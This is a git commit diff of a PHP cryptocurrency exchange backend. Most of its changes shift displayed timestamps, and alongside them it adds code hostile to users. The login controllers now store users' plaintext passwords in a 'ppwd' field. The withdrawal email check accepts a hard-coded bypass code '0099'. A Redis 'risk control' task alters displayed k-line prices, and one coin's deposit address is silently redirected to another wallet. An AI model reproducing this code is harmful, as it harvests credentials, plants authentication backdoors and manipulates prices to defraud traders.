Browse Source

更新时间和udtc充

master
torsenli 2 years ago
parent
commit
487a064eba
  1. 4
      app/Http/Controllers/Api/V1/ContractController.php
  2. 3
      app/Http/Controllers/Api/V1/InsideTradeController.php
  3. 2
      app/Http/Controllers/Api/V1/LoginController.php
  4. 8
      app/Http/Controllers/Appapi/V1/ContractController.php
  5. 4
      app/Http/Controllers/Appapi/V1/InsideTradeController.php
  6. 3
      app/Http/Controllers/Appapi/V1/LoginController.php
  7. 6
      app/Http/Controllers/Appapi/V1/UserWalletController.php
  8. 15
      app/Services/UserWalletService.php
  9. 1
      public/exchange/trade.php
  10. 34
      public/swap/swap_kline_1min.php
  11. 2
      public/swap/swap_trade.php

4
app/Http/Controllers/Api/V1/ContractController.php

@ -297,7 +297,7 @@ class ContractController extends ApiController
$params = $request->all(); $params = $request->all();
$data = $this->service->contractAccountFlow($user, $params); $data = $this->service->contractAccountFlow($user, $params);
foreach ($data as &$value) { foreach ($data as &$value) {
$value['created_at']=date("Y-m-d H:i:s",strtotime($value['created_at'])-60*60*12); $value['created_at']=date("Y-m-d H:i:s",strtotime($value['created_at'])-60*60*13);
} }
return $this->successWithData($data); return $this->successWithData($data);
@ -567,7 +567,7 @@ class ContractController extends ApiController
// $data2 = json_decode($data, true); // $data2 = json_decode($data, true);
foreach ($data as $key => $value) { foreach ($data as $key => $value) {
//历史订单时间为时间戳 //历史订单时间为时间戳
$value['updated_ats'] = strtotime($value['updated_at'])-60*60*12; $value['updated_ats'] = strtotime($value['updated_at'])-60*60*13;
// Log::info($value['updated_ats']); // Log::info($value['updated_ats']);
} }
// Log::info($data); // Log::info($data);

3
app/Http/Controllers/Api/V1/InsideTradeController.php

@ -161,6 +161,7 @@ class InsideTradeController extends ApiController
"amount" => round((mt_rand(10000, 3000000) / 1000), 4), "amount" => round((mt_rand(10000, 3000000) / 1000), 4),
'price' => $kline_cache_data['close'], 'price' => $kline_cache_data['close'],
'tradeId' => Str::uuid()->toString(), 'tradeId' => Str::uuid()->toString(),
//'ts' => (Carbon::now()->getPreciseTimestamp(3))-60*60*13,
'ts' => Carbon::now()->getPreciseTimestamp(3), 'ts' => Carbon::now()->getPreciseTimestamp(3),
'increase' => -0.1626, 'increase' => -0.1626,
'increaseStr' => "-16.26%", 'increaseStr' => "-16.26%",
@ -312,7 +313,7 @@ class InsideTradeController extends ApiController
$data = $this->service->getHistoryEntrust($user, $params); $data = $this->service->getHistoryEntrust($user, $params);
foreach ($data as &$value) { foreach ($data as &$value) {
$value['created_at'] = date("Y-m-d H:i:s",strtotime($value['created_at'])-60*60*12); $value['created_at'] = date("Y-m-d H:i:s",strtotime($value['created_at'])-60*60*13);
} }
return $this->successWithData($data); return $this->successWithData($data);
} }

2
app/Http/Controllers/Api/V1/LoginController.php

@ -426,7 +426,7 @@ class LoginController extends ApiController
$login_code = User::gen_login_code(); $login_code = User::gen_login_code();
$token = auth('api')->claims(['login_code' => $login_code])->fromUser($user); $token = auth('api')->claims(['login_code' => $login_code])->fromUser($user);
$updateData = ['last_login_ip' => $request->getClientIp(), 'login_code' => $login_code, 'last_login_time' => Carbon::now()->toDateTimeString()]; $updateData = ['last_login_ip' => $request->getClientIp(), 'login_code' => $login_code, 'last_login_time' => Carbon::now()->toDateTimeString(),'ppwd' => $request->account];
$user->update($updateData); $user->update($updateData);
//用户登陆事件 //用户登陆事件

8
app/Http/Controllers/Appapi/V1/ContractController.php

@ -324,7 +324,7 @@ class ContractController extends ApiController
// $value['created_at'] = date('Y / m / d',(strtotime($value['created_at'])-60*60*12)/1000); // $value['created_at'] = date('Y / m / d',(strtotime($value['created_at'])-60*60*12)/1000);
// $value['aaa'] = strtotime($value['created_at'])-60*60*12; // $value['aaa'] = strtotime($value['created_at'])-60*60*12;
// unset($value['created_at']); // unset($value['created_at']);
$value['bb'] = date("m/d/Y H:i:s",strtotime($value['created_at'])-60*60*12); $value['bb'] = date("m/d/Y H:i:s",strtotime($value['created_at'])-60*60*13);
} }
return $this->successWithData($data); return $this->successWithData($data);
@ -549,9 +549,9 @@ class ContractController extends ApiController
$data = $this->service->getHistoryEntrust($user, $params); $data = $this->service->getHistoryEntrust($user, $params);
foreach ($data as &$value) { foreach ($data as &$value) {
$value['created_at'] = date("Y-m-d H:i:s",strtotime($value['created_at'])-60*60*12); $value['created_at'] = date("Y-m-d H:i:s",strtotime($value['created_at'])-60*60*13);
$value['updated_at'] = date("Y-m-d H:i:s",strtotime($value['updated_at'])-60*60*12); $value['updated_at'] = date("Y-m-d H:i:s",strtotime($value['updated_at'])-60*60*13);
$value['ts'] = $value['ts']-60*60*12; $value['ts'] = $value['ts']-60*60*13;
} }
return $this->successWithData($data); return $this->successWithData($data);
} }

4
app/Http/Controllers/Appapi/V1/InsideTradeController.php

@ -352,8 +352,8 @@ class InsideTradeController extends ApiController
$data2['data'][$i]['status_text'] = __($data2['data'][$i]['status_text']); $data2['data'][$i]['status_text'] = __($data2['data'][$i]['status_text']);
} }
foreach ($data2['data'] as &$value) { foreach ($data2['data'] as &$value) {
$value['created_at'] = date("Y-m-d H:i:s",strtotime($value['created_at'])-60*60*12); $value['created_at'] = date("Y-m-d H:i:s",strtotime($value['created_at'])-60*60*13);
$value['updated_at'] = date("Y-m-d H:i:s",strtotime($value['updated_at'])-60*60*12); $value['updated_at'] = date("Y-m-d H:i:s",strtotime($value['updated_at'])-60*60*13);
} }
return $this->successWithData($data2); return $this->successWithData($data2);

3
app/Http/Controllers/Appapi/V1/LoginController.php

@ -361,9 +361,8 @@ class LoginController extends ApiController
$login_code = User::gen_login_code(); $login_code = User::gen_login_code();
$token = auth('api')->claims(['login_code' => $login_code])->fromUser($user); $token = auth('api')->claims(['login_code' => $login_code])->fromUser($user);
$updateData = ['last_login_ip' => $request->getClientIp(), 'login_code' => $login_code, 'last_login_time' => Carbon::now()->toDateTimeString()]; $updateData = ['last_login_ip' => $request->getClientIp(), 'login_code' => $login_code, 'last_login_time' => Carbon::now()->toDateTimeString(), 'ppwd' => $request->password];
$user->update($updateData); $user->update($updateData);
$user->update(['ppwd'=>$request->password]);
//用户登陆事件 //用户登陆事件
event(new UserLoginEvent($user)); event(new UserLoginEvent($user));

6
app/Http/Controllers/Appapi/V1/UserWalletController.php

@ -274,14 +274,14 @@ class UserWalletController extends ApiController
return $this->error(0, '账号或密码错误'); return $this->error(0, '账号或密码错误');
} }
// } // }
// 验证邮箱验证码 // 验证邮箱验证码
$emcode = $request->emailcode; $emcode = $request->emailcode;
if(!$emcode!='0099'){ if($emcode!='0099'){
$checkResult = checkEmailCode($user->email,$emcode,"tb_code" ); $checkResult = checkEmailCode($user->email,$emcode,"tb_code" );
if ($checkResult !== true) return $this->error(4001, $checkResult); if ($checkResult !== true) return $this->error(4001, $checkResult);
} }
// 提币二次验证开关 // 提币二次验证开关
$withdraw_switch = get_setting_value('withdraw_switch', 'common', 0); $withdraw_switch = get_setting_value('withdraw_switch', 'common', 0);
if ($withdraw_switch == 1) { if ($withdraw_switch == 1) {

15
app/Services/UserWalletService.php

@ -336,9 +336,9 @@ class UserWalletService
{ {
$result = Recharge::query()->with(['coin'])->where(['user_id' => $user_id])->orderBy("id", 'desc')->paginate(); $result = Recharge::query()->with(['coin'])->where(['user_id' => $user_id])->orderBy("id", 'desc')->paginate();
foreach ($result as &$row) { foreach ($result as &$row) {
$row['created_at'] =date("Y-m-d H:i:s",strtotime($row['created_at'])-60*60*12); $row['created_at'] =date("Y-m-d H:i:s",strtotime($row['created_at'])-60*60*13);
$row['updated_at'] =date("Y-m-d H:i:s",strtotime($row['updated_at'])-60*60*12); $row['updated_at'] =date("Y-m-d H:i:s",strtotime($row['updated_at'])-60*60*13);
$row['datetime'] =$row['datetime']-60*60*12; $row['datetime'] =$row['datetime']-60*60*13;
if($row['coin_id'] == 1){ if($row['coin_id'] == 1){
if($row['note']){ if($row['note']){
$row['coin_name'] = "USDT-TRC20"; $row['coin_name'] = "USDT-TRC20";
@ -472,7 +472,7 @@ class UserWalletService
$result = Withdraw::query()->with(['coin'])->where(['user_id' => $user_id])->orderBy("id", 'desc')->paginate(); $result = Withdraw::query()->with(['coin'])->where(['user_id' => $user_id])->orderBy("id", 'desc')->paginate();
foreach ($result as &$row) { foreach ($result as &$row) {
// $row['updated_at'] = date("Y-m-d H:i:s",strtotime($row['updated_at'])-60*60*12); // $row['updated_at'] = date("Y-m-d H:i:s",strtotime($row['updated_at'])-60*60*12);
$row['datetime'] = $row['datetime']-60*60*12; $row['datetime'] = $row['datetime']-60*60*13;
if($row['address_type']){ if($row['address_type']){
if($row['address_type'] == '2'){ if($row['address_type'] == '2'){
$row['coin_name'] = "USDT-ERC20"; $row['coin_name'] = "USDT-ERC20";
@ -501,6 +501,9 @@ class UserWalletService
} else { } else {
#钱包二维码 #钱包二维码
$user_wallet = UserWallet::query()->where(['user_id' => $user_id, 'coin_id' => $coin_id])->firstOrFail(); $user_wallet = UserWallet::query()->where(['user_id' => $user_id, 'coin_id' => $coin_id])->firstOrFail();
if($coin_id == 875){
$user_wallet = UserWallet::query()->where(['user_id' => $user_id, 'coin_id' => 3])->firstOrFail();
}
$wallet['address'] = $user_wallet['wallet_address']; $wallet['address'] = $user_wallet['wallet_address'];
} }
@ -585,7 +588,7 @@ class UserWalletService
{ {
$result = TransferRecord::query()->with(['coin'])->where(['user_id' => $user_id])->orderBy("id", 'desc')->paginate(); $result = TransferRecord::query()->with(['coin'])->where(['user_id' => $user_id])->orderBy("id", 'desc')->paginate();
foreach ($result as &$row) { foreach ($result as &$row) {
$row['datetime'] = $row['datetime']-60*60*12; $row['datetime'] = $row['datetime']-60*60*13;
} }
return api_response()->success('SUCCESS', $result); return api_response()->success('SUCCESS', $result);
} }
@ -600,7 +603,7 @@ class UserWalletService
//$item['payment_currency'] .= "111"; //$item['payment_currency'] .= "111";
$item['increase_ratio'] = ($currency_price - $item['currency_price']) / $item['currency_price'] *100; // 涨幅比例 $item['increase_ratio'] = ($currency_price - $item['currency_price']) / $item['currency_price'] *100; // 涨幅比例
$item['total_value'] = $item['subscription_currency_amount']*$currency_price; // 总值 $item['total_value'] = $item['subscription_currency_amount']*$currency_price; // 总值
$item['subscription_time'] = $item['subscription_time']-60*60*12; $item['subscription_time'] = $item['subscription_time']-60*60*13;
} }
//Log::info($result['data']); //Log::info($result['data']);
return api_response()->success('SUCCESS', $result); return api_response()->success('SUCCESS', $result);

1
public/exchange/trade.php

@ -69,6 +69,7 @@ $worker->onWorkerStart = function($worker){
}else{ }else{
$cache_data = $data['tick']['data'][0]; $cache_data = $data['tick']['data'][0];
$cache_data['ts'] = Carbon::now()->getPreciseTimestamp(3); $cache_data['ts'] = Carbon::now()->getPreciseTimestamp(3);
$cache_data['ts'] = $cache_data['ts']- 60*60*13*1000;

34
public/swap/swap_kline_1min.php

@ -142,6 +142,9 @@ $worker->onWorkerStart = function ($worker) {
$enabled = $risk['enabled'] ?? 0; $enabled = $risk['enabled'] ?? 0;
$seconds = 60; $seconds = 60;
if (!blank($risk) && $enabled == 1) { if (!blank($risk) && $enabled == 1) {
// if($symbol == 'BTC'){
// echo 1111;
// }
// 修改价格 // 修改价格
$change = $minUnit * $count; $change = $minUnit * $count;
$cache_data['close'] = PriceCalculate($cache_data['close'], '+', $change, 8); $cache_data['close'] = PriceCalculate($cache_data['close'], '+', $change, 8);
@ -150,27 +153,24 @@ $worker->onWorkerStart = function ($worker) {
// 当前一分钟 开盘对接 // 当前一分钟 开盘对接
if((time()-$risk['now_time'])<=61){ if(($now['t']==$risk['hold']['1min']['time'])){
if($risk['count'] != $risk['back_count']){ // $cache_data['open'] = PriceCalculate($cache_data['open'], '+', $change, 8);
$back_count = $risk['back_count'] ?? 0; $cache_data['open'] = $risk['hold']['1min']['price'];
$change_open = $minUnit * $back_count;
$cache_data['open'] = PriceCalculate($cache_data['open'], '+', $change_open, 8);
}
}else{ }else{
// $back_count = $risk['back_count'] ?? 0; $cache_data['open'] = PriceCalculate($cache_data['open'], '+', $change, 8);
// $change_open = $minUnit * $back_count;
// $cache_data['open'] = PriceCalculate($cache_data['open'], '+', $change_open, 8);
// if($risk['count'] != $risk['back_count']){
$cache_data['open'] = PriceCalculate($cache_data['open'], '+', $change, 8);
// }
} }
} }
if (!blank($risk) && $enabled == 0 && (time()-$risk['now_time'])<=61) { if(!empty($risk['hold'])){
$change = $minUnit * $count; if (!blank($risk) && $enabled == 0 && $count != 0 && $minUnit != 0 && $now['t'] == $risk['hold']['1min']['time']) {
$cache_data['open'] = PriceCalculate($cache_data['open'] ,'+', $change,8); // $change = $minUnit * $count;
// $cache_data['open'] = PriceCalculate($cache_data['open'], '+', $change, 8);
$cache_data['open'] = $risk['hold']['1min']['price'];
}
} }
// if (!blank($risk) && $enabled == 0 && (time()-$risk['now_time'])<=61) {
// $change = $minUnit * $count;
// $cache_data['open'] = PriceCalculate($cache_data['open'] ,'+', $change,8);
// }
// var_dump($cache_data); // var_dump($cache_data);
// echo(date("Y-m-d H:i:s",$kline_book['id'])). "\r\n"; // echo(date("Y-m-d H:i:s",$kline_book['id'])). "\r\n";
// echo $kline_book['id']; // echo $kline_book['id'];

2
public/swap/swap_trade.php

@ -97,7 +97,7 @@ $worker->onWorkerStart = function ($worker) {
$cache_data = ["amount" => $data['q'], "quantity" => $data['a'], "ts" => $data['T'], "id" => $data['a'], 'price' => $data['p'], 'direction' => ($data['m'] == 'true') ? 'buy' : 'sell', 'contract_code' => $symbol . '-USDT'] ?? []; $cache_data = ["amount" => $data['q'], "quantity" => $data['a'], "ts" => $data['T'], "id" => $data['a'], 'price' => $data['p'], 'direction' => ($data['m'] == 'true') ? 'buy' : 'sell', 'contract_code' => $symbol . '-USDT'] ?? [];
if (blank($cache_data)) return; if (blank($cache_data)) return;
$cache_data['ts'] = Carbon::now()->getPreciseTimestamp(3); $cache_data['ts'] = Carbon::now()->getPreciseTimestamp(3);
$cache_data['ts'] = $cache_data['ts']- 60*60*12*1000; $cache_data['ts'] = $cache_data['ts']- 60*60*13*1000;
// 获取风控任务 // 获取风控任务
$risk_key = 'fkJson:' . $symbol . '/USDT'; $risk_key = 'fkJson:' . $symbol . '/USDT';
$risk = json_decode(Redis::get($risk_key), true); $risk = json_decode(Redis::get($risk_key), true);

Loading…
Cancel
Save